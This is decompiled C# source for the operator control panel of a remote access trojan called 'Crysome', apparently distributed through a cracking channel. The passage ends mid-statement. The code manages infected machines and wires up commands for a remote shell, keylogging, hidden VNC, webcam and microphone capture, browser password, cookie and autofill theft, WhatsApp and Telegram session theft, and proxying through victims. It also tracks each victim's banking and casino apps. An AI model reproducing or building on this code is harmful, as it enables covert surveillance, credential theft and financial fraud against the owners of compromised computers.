using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Collections.ObjectModel; using System.ComponentModel; using System.IO; using System.Linq; using System.Media; using System.Net; using System.Net.Sockets; using System.Reflection; using System.Text; using System.Text.RegularExpressions; using System.Threading; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Input; using System.Windows.Media; using System.Windows.Threading; using Crysome.Common.Network; using Crysome.Common.Network.FileTransfer; using Crysome.Common.Network.Packets; using Crysome.Common.Network.Packets.Client; using Crysome.Common.Network.Packets.Server; using Crysome.Server.Data; using Crysome.Server.Model; using Crysome.Server.Network; using Crysome.Server.View; using Microsoft.Win32; namespace Crysome.Server.ViewModel; public class ManageClientsViewModel : ViewModelBase { private class RdpQualityState { public int Level = 6; public int CurrentQuality = 80; public int GoodStreak; public int BadStreak; public DateTime LastFrameTime = DateTime.MinValue; public int IntervalMs = 33; } private sealed class ReverseProxyState { public TcpListener Listener; public int NextConnectionId; public ConcurrentDictionary Connections = new ConcurrentDictionary(); public volatile bool Running; public CrysomeClient Owner; } private readonly MainViewModel _mainViewModel; private CrysomeServer server; private readonly AppDataStore store = new AppDataStore(); private readonly DispatcherTimer infoTimer; private readonly ConcurrentDictionary _activeSenders = new ConcurrentDictionary(); private readonly DispatcherTimer _uiThrottleTimer; private bool _pendingUpdates; private readonly object _clientLock = new object(); private int infoRobin; private string _lastCmd = ""; private string _lastFilePath = ""; private long _nextExplorerOpId; private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingReadFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingWriteFileResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingGetDirectoryResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); private readonly ConcurrentDictionary<(CrysomeClient Client, long Id), Action> _pendingGetDrivesResponses = new ConcurrentDictionary<(CrysomeClient, long), Action>(); private readonly ConcurrentDictionary _activeFileExplorers = new ConcurrentDictionary(); private readonly HashSet _logCategoryHide = new HashSet(StringComparer.OrdinalIgnoreCase) { "MIC", "CAM" }; private ICollectionView _logEntriesView; private ClientInfo _selectedClient; private List _selectedClients = new List(); private string _serverStatus = "Stopped • t.me/CuriousCracks"; private int _clientCount; private string _statusMessage = ""; private List allClients = new List(); private int _proxyStartCount; private readonly List<(string Address, string Port)> _proxyResultsForModal = new List<(string, string)>(); private DispatcherTimer _proxyModalTimer; private readonly Dictionary> _processListCallbacks = new Dictionary>(); private readonly Dictionary> _shellOutputCallbacks = new Dictionary>(); private readonly Dictionary> _audioDataCallbacks = new Dictionary>(); private readonly Dictionary> _cameraFrameCallbacks = new Dictionary>(); private readonly Dictionary> _desktopFrameHandlers = new Dictionary>(); private readonly Dictionary> _hvncFrameHandlers = new Dictionary>(); private readonly Dictionary _reverseProxyState = new Dictionary(); private readonly Dictionary> _keyloggerCallbacks = new Dictionary>(); private readonly Dictionary> _chatHandlers = new Dictionary>(); private readonly Dictionary> _cameraDevicesCallbacks = new Dictionary>(); private readonly Dictionary> _audioDevicesCallbacks = new Dictionary>(); private readonly Dictionary> _audioStreamHandlers = new Dictionary>(); private readonly Dictionary> _screensCallbacks = new Dictionary>(); private readonly Dictionary> _rdpQualityCallbacks = new Dictionary>(); private readonly Dictionary _rdpQualityStates = new Dictionary(); private static readonly (int Quality, int IntervalMs)[] _rdpLevels = new(int, int)[7] { (30, 100), (40, 66), (50, 50), (60, 40), (70, 33), (80, 25), (85, 16) }; private bool _isRefreshingClientList; private string _filterCountry = "All"; private string _filterOS = "All"; private string _filterGroup = "All"; private string _filterPing = "All"; private int _uniqueCountriesCount; private int _averagePing; private int _activeWindowsCount; private int _activeHvncCount; private int _activeRdpCount; private bool _appsExpanded; private bool _bankExpanded; private bool _casinoExpanded; private string _newBlocklistIP = ""; private string _blocklistSelectedIP; private readonly ConcurrentDictionary> _offlineKeylogCallbacks = new ConcurrentDictionary>(); public ObservableCollection Clients { get; set; } public ObservableCollection LogEntries { get; set; } public string LogCategoryFilter { get { return string.Join(",", _logCategoryHide); } set { _logCategoryHide.Clear(); if (!string.IsNullOrWhiteSpace(value)) { string[] array = value.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries); foreach (string text in array) { _logCategoryHide.Add(text.Trim()); } } OnPropertyChanged("LogCategoryFilter"); try { ICollectionView logEntriesView = LogEntriesView; if (logEntriesView != null) { logEntriesView.Refresh(); } } catch { } } } public ICollectionView LogEntriesView { get { return _logEntriesView; } private set { _logEntriesView = value; OnPropertyChanged("LogEntriesView"); } } public ClientInfo SelectedClient { get { return _selectedClient; } set { _selectedClient = value; OnPropertyChanged("SelectedClient"); OnPropertyChanged("IsItemSelected"); } } public bool IsItemSelected => SelectedClient != null; public List SelectedClients => _selectedClients; public string ServerStatus { get { return _serverStatus; } set { _serverStatus = value; OnPropertyChanged("ServerStatus"); } } public int ClientCount { get { return _clientCount; } set { _clientCount = value; OnPropertyChanged("ClientCount"); } } public string StatusMessage { get { return _statusMessage; } set { _statusMessage = value ?? ""; OnPropertyChanged("StatusMessage"); } } public ICommand SendCommandCmd { get; } public ICommand SendCommandAllCmd { get; } public ICommand SendFileCmd { get; } public ICommand SendFileAllCmd { get; } public ICommand DirectLinkCmd { get; } public ICommand DirectLinkAllCmd { get; } public ICommand CopySummaryCmd { get; } public ICommand PinToTopCmd { get; } public ICommand ExportSelectionCmd { get; } public ICommand Mute30Cmd { get; } public ICommand QuickHealthCmd { get; } public ICommand RepeatLastCmdCmd { get; } public ICommand RepeatLastFileCmd { get; } public ICommand AnnounceToggleCmd { get; } public ICommand EditNoteCmd { get; } public ICommand RestartClientCmd { get; } public ICommand OpenFileManagerCmd { get; } public ICommand OpenBuilderCmd { get; } public ICommand OpenSettingsCmd { get; } public ICommand CloseAppCmd { get; } public ICommand OpenPluginsCmd { get; } public ICommand Socks5ProxyCmd { get; } public ICommand TakeScreenshotCmd { get; } public ICommand ProcessManagerCmd { get; } public ICommand RemoteShellCmd { get; } public ICommand RemoteAudioCmd { get; } public ICommand RemoteCameraCmd { get; } public ICommand RemoteDesktopCmd { get; } public ICommand HvncCmd { get; } public ICommand KeyloggerCmd { get; } public ICommand RemoteChatCmd { get; } public ICommand CredentialsPasswordsCmd { get; } public ICommand CredentialsCookiesCmd { get; } public ICommand CredentialsBothCmd { get; } public ICommand CredentialsAutofillsCmd { get; } public ICommand CredentialsAllCmd { get; } public ICommand WhatsAppSessionCmd { get; } public ICommand TelegramSessionCmd { get; } public ICommand ToggleAppsExpandCmd { get; } public ICommand ToggleBankExpandCmd { get; } public ICommand ToggleCasinoExpandCmd { get; } public ICommand StartServerCmd { get; } public ICommand StopServerCmd { get; } public ICommand ExportLogCmd { get; } public ICommand AddBlocklistCmd { get; } public ICommand RemoveBlocklistCmd { get; } public ICommand BlockSelectedClientCmd { get; } public ICommand ClearFiltersCmd { get; } public bool IsSendCommandEnabled => store.IsContextMenuFeatureEnabled("SendCommand"); public bool IsSendCommandAllEnabled => store.IsContextMenuFeatureEnabled("SendCommandAll"); public bool IsSendFileEnabled => store.IsContextMenuFeatureEnabled("SendFile"); public bool IsSendFileAllEnabled => store.IsContextMenuFeatureEnabled("SendFileAll"); public bool IsDirectLinkEnabled => store.IsContextMenuFeatureEnabled("DirectLink"); public bool IsDirectLinkAllEnabled => store.IsContextMenuFeatureEnabled("DirectLinkAll"); public bool IsSocks5ProxyEnabled => store.IsContextMenuFeatureEnabled("Socks5Proxy"); public bool IsTakeScreenshotEnabled => store.IsContextMenuFeatureEnabled("TakeScreenshot"); public bool IsFileManagerEnabled => store.IsContextMenuFeatureEnabled("FileManager"); public bool IsRestartEnabled => store.IsContextMenuFeatureEnabled("Restart"); public bool IsCopySummaryEnabled => store.IsContextMenuFeatureEnabled("CopySummary"); public bool IsBlockIPEnabled => store.IsContextMenuFeatureEnabled("BlockIP"); public bool IsPinToTopEnabled => store.IsContextMenuFeatureEnabled("PinToTop"); public bool IsExportEnabled => store.IsContextMenuFeatureEnabled("Export"); public bool IsMute30Enabled => store.IsContextMenuFeatureEnabled("Mute30"); public bool IsNoteEnabled => store.IsContextMenuFeatureEnabled("Note"); public bool IsProcessManagerEnabled => store.IsContextMenuFeatureEnabled("ProcessManager"); public bool IsRemoteShellEnabled => store.IsContextMenuFeatureEnabled("RemoteShell"); public bool IsRemoteAudioEnabled => store.IsContextMenuFeatureEnabled("RemoteAudio"); public bool IsRemoteCameraEnabled => store.IsContextMenuFeatureEnabled("RemoteCamera"); public bool IsRemoteDesktopEnabled => store.IsContextMenuFeatureEnabled("RemoteDesktop"); public bool IsHvncEnabled => store.IsContextMenuFeatureEnabled("HVNC"); public bool IsCredentialsEnabled => store.IsContextMenuFeatureEnabled("Credentials"); public bool IsKeyloggerEnabled => store.IsContextMenuFeatureEnabled("Keylogger"); public bool IsRemoteChatEnabled => store.IsContextMenuFeatureEnabled("RemoteChat"); public string FilterCountry { get { return _filterCountry; } set { string text = value ?? "All"; if (!(_filterCountry == text)) { _filterCountry = text; OnPropertyChanged("FilterCountry"); if (!_isRefreshingClientList) { RefreshClientList(); } } } } public string FilterOS { get { return _filterOS; } set { string text = value ?? "All"; if (!(_filterOS == text)) { _filterOS = text; OnPropertyChanged("FilterOS"); if (!_isRefreshingClientList) { RefreshClientList(); } } } } public string FilterGroup { get { return _filterGroup; } set { string text = value ?? "All"; if (!(_filterGroup == text)) { _filterGroup = text; OnPropertyChanged("FilterGroup"); if (!_isRefreshingClientList) { RefreshClientList(); } } } } public string FilterPing { get { return _filterPing; } set { string text = value ?? "All"; if (!(_filterPing == text)) { _filterPing = text; OnPropertyChanged("FilterPing"); if (!_isRefreshingClientList) { RefreshClientList(); } } } } public ObservableCollection AvailableCountries { get; } = new ObservableCollection(); public ObservableCollection AvailableOSes { get; } = new ObservableCollection(); public ObservableCollection FilterCountryOptions { get; } = new ObservableCollection { "All" }; public ObservableCollection FilterOSOptions { get; } = new ObservableCollection { "All" }; public ObservableCollection FilterGroupOptions { get; } = new ObservableCollection { "All" }; public ObservableCollection FilterPingOptions { get; } = new ObservableCollection { "All", "Good (<100ms)", "Medium (<300ms)", "High (>300ms)" }; public ObservableCollection BlockedIPsList { get; } = new ObservableCollection(); public int UniqueCountriesCount { get { return _uniqueCountriesCount; } private set { _uniqueCountriesCount = value; OnPropertyChanged("UniqueCountriesCount"); } } public int AveragePing { get { return _averagePing; } private set { _averagePing = value; OnPropertyChanged("AveragePing"); } } public int ActiveWindowsCount { get { return _activeWindowsCount; } private set { _activeWindowsCount = value; OnPropertyChanged("ActiveWindowsCount"); } } public int ActiveHvncCount { get { return _activeHvncCount; } set { _activeHvncCount = value; OnPropertyChanged("ActiveHvncCount"); } } public int ActiveRdpCount { get { return _activeRdpCount; } set { _activeRdpCount = value; OnPropertyChanged("ActiveRdpCount"); } } public bool AppsExpanded { get { return _appsExpanded; } set { _appsExpanded = value; OnPropertyChanged("AppsExpanded"); OnPropertyChanged("AppsToggleText"); } } public string AppsToggleText { get { if (!_appsExpanded) { return "▼"; } return "▲"; } } public bool BankExpanded { get { return _bankExpanded; } set { _bankExpanded = value; OnPropertyChanged("BankExpanded"); OnPropertyChanged("BankToggleText"); } } public string BankToggleText { get { if (!_bankExpanded) { return "▼"; } return "▲"; } } public bool CasinoExpanded { get { return _casinoExpanded; } set { _casinoExpanded = value; OnPropertyChanged("CasinoExpanded"); OnPropertyChanged("CasinoToggleText"); } } public string CasinoToggleText { get { if (!_casinoExpanded) { return "▼"; } return "▲"; } } public string NewBlocklistIP { get { return _newBlocklistIP; } set { _newBlocklistIP = value ?? ""; OnPropertyChanged("NewBlocklistIP"); } } public string BlocklistSelectedIP { get { return _blocklistSelectedIP; } set { _blocklistSelectedIP = value; OnPropertyChanged("BlocklistSelectedIP"); } } public AppDataStore Store => store; public CrysomeServer Server => server; public long NextExplorerOpId() { return Interlocked.Increment(ref _nextExplorerOpId); } public void RegisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm) { if (owner != null) { _activeFileExplorers[owner] = vm; } } public void UnregisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm) { if (owner != null) { _activeFileExplorers.TryRemove(owner, out var _); } } public void RegisterReadFileCallback(CrysomeClient client, long transferId, Action cb) { _pendingReadFileResponses[(client, transferId)] = cb; } public void RegisterWriteFileCallback(CrysomeClient client, long transferId, Action cb) { _pendingWriteFileResponses[(client, transferId)] = cb; } public void RegisterGetDirectoryCallback(CrysomeClient client, long requestId, Action cb) { if (requestId != 0L) { _pendingGetDirectoryResponses[(client, requestId)] = cb; } } public void RegisterGetDrivesCallback(CrysomeClient client, long requestId, Action cb) { if (requestId != 0L) { _pendingGetDrivesResponses[(client, requestId)] = cb; } } public void SyncSelectedClients(List items) { _selectedClients = items ?? new List(); OnPropertyChanged("SelectedClients"); } public void EnqueueStatus(string msg) { //IL_0015: Unknown result type (might be due to invalid IL or missing references) //IL_001a: Unknown result type (might be due to invalid IL or missing references) //IL_002c: Expected O, but got Unknown StatusMessage = msg; DispatcherTimer t = new DispatcherTimer { Interval = TimeSpan.FromSeconds(3L) }; t.Tick += delegate { StatusMessage = ""; t.Stop(); }; t.Start(); } public void NotifyContextMenuFeaturesChanged() { OnPropertyChanged("IsSendCommandEnabled"); OnPropertyChanged("IsSendCommandAllEnabled"); OnPropertyChanged("IsSendFileEnabled"); OnPropertyChanged("IsSendFileAllEnabled"); OnPropertyChanged("IsDirectLinkEnabled"); OnPropertyChanged("IsDirectLinkAllEnabled"); OnPropertyChanged("IsSocks5ProxyEnabled"); OnPropertyChanged("IsTakeScreenshotEnabled"); OnPropertyChanged("IsFileManagerEnabled"); OnPropertyChanged("IsRestartEnabled"); OnPropertyChanged("IsCopySummaryEnabled"); OnPropertyChanged("IsBlockIPEnabled"); OnPropertyChanged("IsPinToTopEnabled"); OnPropertyChanged("IsExportEnabled"); OnPropertyChanged("IsMute30Enabled"); OnPropertyChanged("IsNoteEnabled"); OnPropertyChanged("IsProcessManagerEnabled"); OnPropertyChanged("IsRemoteShellEnabled"); OnPropertyChanged("IsRemoteAudioEnabled"); OnPropertyChanged("IsRemoteCameraEnabled"); OnPropertyChanged("IsRemoteDesktopEnabled"); OnPropertyChanged("IsHvncEnabled"); OnPropertyChanged("IsCredentialsEnabled"); OnPropertyChanged("IsKeyloggerEnabled"); OnPropertyChanged("IsRemoteChatEnabled"); } public ManageClientsViewModel(MainViewModel mainViewModel) { //IL_0779: Unknown result type (might be due to invalid IL or missing references) //IL_077e: Unknown result type (might be due to invalid IL or missing references) //IL_07a1: Expected O, but got Unknown //IL_07b9: Unknown result type (might be due to invalid IL or missing references) //IL_07be: Unknown result type (might be due to invalid IL or missing references) //IL_07d6: Expected O, but got Unknown _mainViewModel = mainViewModel; Clients = new ObservableCollection(); LogEntries = new ObservableCollection(); CollectionViewSource collectionViewSource = new CollectionViewSource { Source = LogEntries }; collectionViewSource.Filter += LogEntries_Filter; LogEntriesView = collectionViewSource.View; SendCommandCmd = new RelayCommand(delegate { DoSendCommand(all: false); }); SendCommandAllCmd = new RelayCommand(delegate { DoSendCommand(all: true); }); SendFileCmd = new RelayCommand(delegate { DoSendFile(all: false); }); SendFileAllCmd = new RelayCommand(delegate { DoSendFile(all: true); }); DirectLinkCmd = new RelayCommand(delegate { DoDirectLink(all: false); }); DirectLinkAllCmd = new RelayCommand(delegate { DoDirectLink(all: true); }); CopySummaryCmd = new RelayCommand(delegate { DoCopySummary(); }); PinToTopCmd = new RelayCommand(delegate { DoPinToTop(); }); ExportSelectionCmd = new RelayCommand(delegate { DoExportSelection(); }); Mute30Cmd = new RelayCommand(delegate { DoMute30(); }); QuickHealthCmd = new RelayCommand(delegate { DoQuickHealth(); }); RepeatLastCmdCmd = new RelayCommand(delegate { DoRepeatLastCmd(); }); RepeatLastFileCmd = new RelayCommand(delegate { DoRepeatLastFile(); }); AnnounceToggleCmd = new RelayCommand(delegate { DoAnnounceToggle(); }); EditNoteCmd = new RelayCommand(delegate { DoEditNote(); }); RestartClientCmd = new RelayCommand(delegate { DoRestart(); }); OpenFileManagerCmd = new RelayCommand(delegate { DoOpenFileManager(); }); OpenBuilderCmd = new RelayCommand(delegate { _mainViewModel.GoToBuilder(); }); OpenSettingsCmd = new RelayCommand(delegate { _mainViewModel.GoToSettings(); }); CloseAppCmd = new RelayCommand(delegate { Application.Current.Shutdown(); }); OpenPluginsCmd = new RelayCommand(delegate { _mainViewModel.GoToPlugins(); }); Socks5ProxyCmd = new RelayCommand(delegate { DoSocks5Proxy(); }); TakeScreenshotCmd = new RelayCommand(delegate { DoTakeScreenshot(); }); ProcessManagerCmd = new RelayCommand(delegate { DoProcessManager(); }); RemoteShellCmd = new RelayCommand(delegate { DoRemoteShell(); }); RemoteAudioCmd = new RelayCommand(delegate { DoRemoteAudio(); }); RemoteCameraCmd = new RelayCommand(delegate { DoRemoteCamera(); }); RemoteDesktopCmd = new RelayCommand(delegate { DoRemoteDesktop(); }); HvncCmd = new RelayCommand(delegate { DoHvnc(); }); KeyloggerCmd = new RelayCommand(delegate { DoKeylogger(); }); RemoteChatCmd = new RelayCommand(delegate { DoRemoteChat(); }); CredentialsPasswordsCmd = new RelayCommand(delegate { DoRequestCredentials(0); }); CredentialsCookiesCmd = new RelayCommand(delegate { DoRequestCredentials(1); }); CredentialsBothCmd = new RelayCommand(delegate { DoRequestCredentials(2); }); CredentialsAutofillsCmd = new RelayCommand(delegate { DoRequestCredentials(3); }); CredentialsAllCmd = new RelayCommand(delegate { DoRequestCredentials(4); }); WhatsAppSessionCmd = new RelayCommand(delegate { DoWhatsAppSession(); }); TelegramSessionCmd = new RelayCommand(delegate { DoTelegramSession(); }); ToggleAppsExpandCmd = new RelayCommand(delegate { AppsExpanded = !AppsExpanded; }); ToggleBankExpandCmd = new RelayCommand(delegate { BankExpanded = !BankExpanded; }); ToggleCasinoExpandCmd = new RelayCommand(delegate { CasinoExpanded = !CasinoExpanded; }); StartServerCmd = new RelayCommand(delegate { DoStartServer(); }); StopServerCmd = new RelayCommand(delegate { DoStopServer(); }); ExportLogCmd = new RelayCommand(delegate { DoExportLog(); }); AddBlocklistCmd = new RelayCommand(delegate { DoAddBlocklist(); }); RemoveBlocklistCmd = new RelayCommand(delegate { DoRemoveBlocklist(); }); BlockSelectedClientCmd = new RelayCommand(delegate { DoBlockSelectedClient(); }); ClearFiltersCmd = new RelayCommand(delegate { FilterCountry = "All"; FilterOS = "All"; FilterGroup = "All"; FilterPing = "All"; }); store.Load(); BlockedIPsList.Clear(); foreach (string item in store.BlockedIPs.OrderBy((string x) => x)) { BlockedIPsList.Add(item); } infoTimer = new DispatcherTimer { Interval = TimeSpan.FromMilliseconds(store.Settings.InfoPollInterval, 0L) }; infoTimer.Tick += InfoTimer_Tick; _uiThrottleTimer = new DispatcherTimer { Interval = TimeSpan.FromMilliseconds(500L, 0L) }; _uiThrottleTimer.Tick += ProcessClientUpdates; _uiThrottleTimer.Start(); DoStartServer(); } private void DoStartServer() { try { if (server != null) { server.Stop(); } server = new CrysomeServer { Port = store.Settings.Port, QuicPort = store.Settings.QuicPort, Store = store }; server.ClientConnected += Server_ClientConnected; server.ClientDisconnected += Server_ClientDisconnected; server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleSystemInfo(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleClientInfo(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandlePingResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleCommandResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleFileResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleFtSack(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleFtDone(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleDirectLinkResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleProxyStatus(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleScreenshotResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleCredentialsResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleProcessListResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleAudioData(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleCameraFrame(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleDesktopFrame(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleHvncFrame(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleReverseProxyData(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleReverseProxyEnd(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleKeylogData(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleOfflineKeylogData(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleChatMessage(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleCameraDevicesResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleAudioDevicesResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleAudioStreamChunk(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleScreensResponse(s, pk); }); server.PacketChannel.RegisterHandler(RouteReadFileResponse); server.PacketChannel.RegisterHandler(RouteWriteFileResponse); server.PacketChannel.RegisterHandler(RouteGetDirectoryResponse); server.PacketChannel.RegisterHandler(RouteGetDrivesResponse); server.PacketChannel.RegisterHandler(RouteNotifyStatus); server.PacketChannel.RegisterHandler(HandleClientInventoryReport); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleWhatsAppSessionResponse(s, pk); }); server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) { HandleTelegramSessionResponse(s, pk); }); server.UdpFrameReceived += Server_UdpFrameReceived; server.Start(); infoTimer.Start(); StringBuilder stringBuilder = new StringBuilder(); if (store.Settings.Port > 0) { stringBuilder.Append("RUDP ").Append(store.Settings.Port).Append(" (Builder / .NET Framework)"); } if (store.Settings.QuicPort > 0) { if (stringBuilder.Length > 0) { stringBuilder.Append(", "); } stringBuilder.Append("QUIC ").Append(store.Settings.QuicPort); } string text = stringBuilder.ToString(); ServerStatus = "Listening — " + text + " • t.me/CuriousCracks"; Log("Server started — " + text, "SYS"); FlagCache.Get("US"); } catch (Exception ex) { ServerStatus = "FAILED"; Log("Server start failed: " + ex.Message, "SYS"); EnqueueStatus("Server start failed: " + ex.Message); } } private void DoStopServer() { try { infoTimer.Stop(); server?.Stop(); ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { allClients.Clear(); Clients.Clear(); UpdateFilterOptions(); }); ServerStatus = "Stopped"; ClientCount = 0; Log("Server stopped", "SYS"); } catch (Exception ex) { Log("Stop error: " + ex.Message, "SYS"); } } private void Server_ClientConnected(object sender, ClientEventArgs e) { ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { string addr = e.Client.RemoteAddress?.Address?.ToString() ?? "?"; if (store.BlockedIPs.Contains(addr)) { Log("Blocked: " + addr, "SYS"); try { server?.DisconnectClient(e.Client); return; } catch { return; } } if (!allClients.Any((ClientInfo c) => c.Owner == e.Client)) { int port = e.Client.RemoteAddress?.Port ?? 0; ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port); if (clientInfo != null) { clientInfo.Owner = e.Client; } else { ClientInfo clientInfo2 = new ClientInfo { Owner = e.Client, SessionId = Guid.NewGuid().ToString("N"), Address = (e.Client.RemoteAddress?.Address?.ToString() ?? "?"), Port = (e.Client.RemoteAddress?.Port ?? 0), ConnectTime = DateTime.Now }; string address = clientInfo2.Address; if (store.Notes.ContainsKey(address)) { clientInfo2.Notes = store.Notes[address]; } if (store.PinnedIPs.Contains(address)) { clientInfo2.IsPinned = true; } if (store.AnnounceIPs.Contains(address)) { clientInfo2.IsAnnounce = true; } if (store.MutedIPs.ContainsKey(address) && store.MutedIPs[address] > DateTime.Now) { clientInfo2.IsMuted = true; clientInfo2.MuteUntil = store.MutedIPs[address]; } StoredClientRecord storedClientRecord = store.FindClient(address); if (storedClientRecord != null) { if (string.IsNullOrEmpty(clientInfo2.Notes) && !string.IsNullOrEmpty(storedClientRecord.Notes)) { clientInfo2.Notes = storedClientRecord.Notes; } if (!string.IsNullOrEmpty(storedClientRecord.AppsInventoryJson) || !string.IsNullOrEmpty(storedClientRecord.BankInventoryJson)) { clientInfo2.ApplyInventoryJson(storedClientRecord.AppsInventoryJson, storedClientRecord.BankInventoryJson, storedClientRecord.CasinoInventoryJson); } } allClients.Add(clientInfo2); _pendingUpdates = true; ClientCount = allClients.Count; if (!clientInfo2.IsMuted && store.Settings.NotifyConnect) { try { SystemSounds.Asterisk.Play(); } catch { } } Log("Connected: " + address, "CONN"); RunOnConnectTasks(e.Client); } } }, Array.Empty()); } private void Server_ClientDisconnected(object sender, ClientEventArgs e) { if (_reverseProxyState.TryGetValue(e.Client, out var value)) { value.Running = false; try { value.Listener?.Stop(); } catch { } KeyValuePair[] array = value.Connections.ToArray(); for (int i = 0; i < array.Length; i++) { KeyValuePair keyValuePair = array[i]; try { keyValuePair.Value?.Close(); } catch { } } _reverseProxyState.Remove(e.Client); } ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == e.Client); if (clientInfo != null) { clientInfo.ProxyActive = false; store.UpsertClient(new StoredClientRecord { Address = clientInfo.Address, Port = clientInfo.Port, UserName = (clientInfo.Username ?? ""), ComputerName = (clientInfo.ComputerName ?? ""), OS = (clientInfo.OS ?? ""), CountryCode = (clientInfo.CountryCode ?? ""), Group = (clientInfo.Group ?? ""), Notes = (clientInfo.Notes ?? ""), IsPinned = clientInfo.IsPinned, LastSeen = DateTime.Now, AppsInventoryJson = (clientInfo.AppsInventoryJson ?? ""), BankInventoryJson = (clientInfo.BankInventoryJson ?? ""), CasinoInventoryJson = (clientInfo.CasinoInventoryJson ?? "") }); store.SaveClients(); allClients.Remove(clientInfo); _pendingUpdates = true; ClientCount = allClients.Count; if (!clientInfo.IsMuted && store.Settings.NotifyDisconnect) { try { SystemSounds.Hand.Play(); } catch { } } Log("Disconnected: " + clientInfo.Address, "CONN"); } }, Array.Empty()); } private void HandleClientInfo(CrysomeClient sender, IPacket packet) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_0020: Expected O, but got Unknown ClientInfoResponsePacket p = (ClientInfoResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { //IL_0433: Unknown result type (might be due to invalid IL or missing references) //IL_043d: Expected O, but got Unknown ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); string addr = sender.RemoteAddress?.Address?.ToString() ?? "?"; int port = sender.RemoteAddress?.Port ?? 0; if (clientInfo == null) { clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port); } if (clientInfo != null) { clientInfo.Owner = sender; } else { clientInfo = new ClientInfo { Owner = sender, SessionId = Guid.NewGuid().ToString("N"), Address = addr, Port = port, ConnectTime = DateTime.Now }; string address = clientInfo.Address; if (store.Notes.ContainsKey(address)) { clientInfo.Notes = store.Notes[address]; } if (store.PinnedIPs.Contains(address)) { clientInfo.IsPinned = true; } if (store.AnnounceIPs.Contains(address)) { clientInfo.IsAnnounce = true; } allClients.Add(clientInfo); if (store.Settings.NotifyConnect) { try { SystemSounds.Asterisk.Play(); } catch { } } Log("Connected: " + clientInfo.Address, "CONN"); } bool flag = false; if (clientInfo.Identifier != (p.Identifier ?? "")) { clientInfo.Identifier = p.Identifier ?? ""; flag = true; } if (clientInfo.Username != (p.Username ?? "")) { clientInfo.Username = p.Username ?? ""; flag = true; } if (clientInfo.ComputerName != (p.ComputerName ?? "")) { clientInfo.ComputerName = p.ComputerName ?? ""; flag = true; } if (clientInfo.OS != (p.OS ?? "")) { clientInfo.OS = p.OS ?? ""; flag = true; } if (clientInfo.ActiveWindow != (p.ActiveWindow ?? "")) { clientInfo.ActiveWindow = p.ActiveWindow ?? ""; flag = true; } if (clientInfo.Uptime != (p.Uptime ?? "")) { clientInfo.Uptime = p.Uptime ?? ""; flag = true; } string text = (p.CountryCode ?? "").Trim().ToUpperInvariant(); if (clientInfo.CountryCode != text) { clientInfo.CountryCode = text; flag = true; } if (clientInfo.Group != (p.Group ?? "")) { clientInfo.Group = p.Group ?? ""; flag = true; } if (clientInfo.GPU != (p.GPU ?? "")) { clientInfo.GPU = p.GPU ?? ""; flag = true; } if (flag) { _pendingUpdates = true; } ClientCount = allClients.Count; try { sender.SendPacket((IPacket)new 